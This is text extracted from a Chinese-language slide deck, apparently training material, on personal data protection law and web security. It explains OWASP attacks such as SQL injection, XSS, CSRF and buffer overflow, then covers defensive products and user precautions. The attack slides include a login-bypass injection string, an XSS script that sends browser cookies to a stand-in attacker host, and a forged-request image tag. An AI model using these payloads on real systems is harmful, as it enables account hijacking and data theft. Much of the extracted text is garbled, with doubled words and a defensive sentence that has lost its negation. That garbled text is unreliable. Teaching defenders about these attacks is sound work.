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個人資料保護法簡介



個人資料保護法重點摘要



個人資料保護法重點摘要



新舊版個人資料保護法的差異



新舊版個人資料保護法的差異



新舊版個人資料保護法的差異





學校/企業等機關所面臨的嚴峻挑戰→資訊安全



內部-惡意資料外洩



個人資料外洩案例



個人資料外洩案例



內部-無意間造成的資料外洩



個人資料外洩案例



外部-駭客入侵攻擊手法



OWASP十大網頁安全報告

資料來源資料來源:www.owasp.org:www.owasp.org

http://www.owasp.org
http://www.owasp.org


資料隱碼 (SQL Injection)

userid passwd
李小明 xyz123
陳小東 cde 567

SQL ="select * from password where userid='李小明' and passwd= ' acb123'"; 

帳號與密碼對應錯誤，找不到記錄àDENY

李小明

●●●●●●



資料隱碼 (SQL Injection)

userid passwd
李小明 xyz123
陳小東 cde 567

SQL ="select * from password where userid='李小明' and passwd= '' or '1'='1'"; 

1=1恆成立

李小明

●●●●●●●●

網頁無限制回傳參數並且過濾特殊字元網頁無限制回傳參數並且過濾特殊字元



跨站腳本攻擊(XSS Cross -Site Scripting)

<a href="/usercp.php?action=logout">一個關於貓的網頁</a>

<script>alert('Hello World');</script>

網頁無限制回傳參數並且過濾特殊字元網頁無限制回傳參數並且過濾特殊字元
當你瀏覽一個具有當你瀏覽一個具有XSSXSS 攻擊弱點的網站攻擊弱點的網站……..

<script>location.replace('http://www.hackerspage.com/?steal='
+document.cookie)</script>

http://www.hackerspage.com/?steal


跨站腳本攻擊(XSS)著名案例

§§ 1919歲的「歲的「SamySamy」跟自己女友打賭他可以在」跟自己女友打賭他可以在MySpaceMySpace上擁上擁
有很多粉絲，將他設成英雄（有很多粉絲，將他設成英雄（HeroHero），但是又達不到，才），但是又達不到，才
突然想到不如寫隻程式作弊好了，他就編寫了一段突然想到不如寫隻程式作弊好了，他就編寫了一段
ScriptScript，使他獲得了超過，使他獲得了超過100100萬個「好友」。他在自己的萬個「好友」。他在自己的
MySpaceMySpace簡介裡，置入一段簡介裡，置入一段JavaScriptJavaScript代碼，這樣每個查代碼，這樣每個查
看簡介的人會在不知不覺中執行這段代碼。這段代碼把他看簡介的人會在不知不覺中執行這段代碼。這段代碼把他
列為該用戶的好友之一。列為該用戶的好友之一。

接著，該蠕蟲會打開該用戶自己的簡介，把惡意代碼復制接著，該蠕蟲會打開該用戶自己的簡介，把惡意代碼復制
進去，並把進去，並把SamySamy添加到那裡的任何英雄列表中，還附上添加到那裡的任何英雄列表中，還附上
一句話：「一句話：「 SamySamy‘‘s my hero s my hero 」。同樣，任何查看該用戶」。同樣，任何查看該用戶
簡介的人也會被感染，這樣簡介的人也會被感染，這樣SamySamy的名聲和「人氣」迅速的名聲和「人氣」迅速
擴大到擴大到100100萬萬MySpaceMySpace會員。同時造會員。同時造MySpaceMySpace當機。當機。



跨站冒名請求(CSRF)

<img Src=”http://abc-bank.com/do_something”/>

利用使用者瀏覽器既存利用使用者瀏覽器既存cookiecookie
利用瀏覽器多分頁共用利用瀏覽器多分頁共用cookiecookie特性特性
誘使使用者點擊或瀏覽假冒請求的網頁誘使使用者點擊或瀏覽假冒請求的網頁

do_somethingà系統既有的功能

改資料(成績/密碼) 砍帳號
轉帳 下單

http://abc-bank.com/


緩衝區溢位(Buffer 
Overflow)

Variable A B

Value [Null] 1979

Hex 00 00 00 00 00 00 00 00 07 BB

Variable A B
value 'e' 'x' 'c' 'e' 's' 's' 'i' 'v' 25856
Hex 65 78 63 65 73 73 69 76 65 00

變數變數AA，初始值空的，保留，初始值空的，保留8 byte8 byte當當bufferbuffer

輸入輸入excessiveexcessive這個字這個字((共共9 byte) 9 byte) ，，ee溢位到變數溢位到變數 BB的的bufferbuffer

惡意程式有機會取得伺服器的完全控制權，執行受駭電腦上的
指令、竊取密碼或機密資料、變更系統設定或安裝後門程式。



網頁伺服器漏洞

最安全的網頁伺服器?



網頁伺服器漏洞

資料來源資料來源:: secunia.comsecunia.com



個人資料外洩案例



個人資料外洩案例



個人資料外洩案例



特殊案例





完整的資訊安全策略



員工教育



系統防護-防入侵

防火牆(FireWall)
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系統防護-防入侵

入侵防禦/偵測系統
(IPS/IDS)
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系統防護-防入侵

網頁防火牆(Web App FireWall)          

Web 

Databases

INTERNET

Servers

Users

Application Servers 

Mail 

DMZ

••資料隱碼資料隱碼 (SQL Injection)(SQL Injection)
••跨站腳本攻擊跨站腳本攻擊(XSS)(XSS)
••跨站冒名請求跨站冒名請求(CSRF)(CSRF)
••緩衝區溢位緩衝區溢位
••網頁伺服器漏洞網頁伺服器漏洞



系統防護-防入侵

Web 

Databases

INTERNET

Users

Application Servers 

Mail 

DMZ

滲透測試系統(Penetraiton test)          



系統防護-防入侵

Web 

Databases
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Application Servers 
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DMZ

防毒軟體(Anti Virus)          

Anti Virus Server



系統防護-防入侵

Web 

Databases

INTERNET

Users

Application Servers 

Mail 

DMZ

垃圾郵件過濾(Anti  Spam Mail)          



系統防護-防外洩

內容過濾(Proxy/Content 
Filtering)

Databases

INTERNET

Servers

Users

Application Servers 

Mail 

DMZ

•• IM(MSNIM(MSN、、SkypeSkype、、YAHOOYAHOO即時通、即時通、QQ)QQ)
•• 情色、賭博、論壇、情色、賭博、論壇、 P2PP2P
•• 與業務無關或惡意網站與業務無關或惡意網站



系統防護-防外洩

資料外洩防護(DLP) Databases

INTERNET

Servers

Users

Application Servers 

Mail 

DMZ

•• 機密資料儲存，加密機密資料儲存，加密
•• 上傳機密郵件，阻擋並留存紀錄上傳機密郵件，阻擋並留存紀錄
•• 機密資料上傳網頁，阻擋並留存記錄機密資料上傳網頁，阻擋並留存記錄



整合方案-架構圖

Web 
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INTERNET

Users

DMZ

防火牆(CheckPoint)          

IPS/IDS(TippingPoint)          

上網安全管理/IM/DLP/

網頁快取(WebSense)          

郵件安全與稽核(Cellopoint)

網頁防火牆(iMPERVA)+資料庫稽核

滲透測試/弱點掃描(WebInspect)

防火牆

完整的資訊安全方案完整的資訊安全方案

Servers





使用者也要懂得自保



UAC很重要



不要信任來路不明的憑證

••此網站的安全性憑證已被撤銷此網站的安全性憑證已被撤銷
••這個網站的位址不符合安全性憑證中的位址這個網站的位址不符合安全性憑證中的位址

••此網站的安全性憑證已經過期此網站的安全性憑證已經過期
••此網站的安全性憑證並非來自受信任的來源此網站的安全性憑證並非來自受信任的來源
••Internet Explorer Internet Explorer 已經發現這個網站的安全性憑證有問題已經發現這個網站的安全性憑證有問題



合法的憑證



受信任的根憑證授權單位



P2P軟體 à你真的要小心



你不可不知道的社交工程詐騙




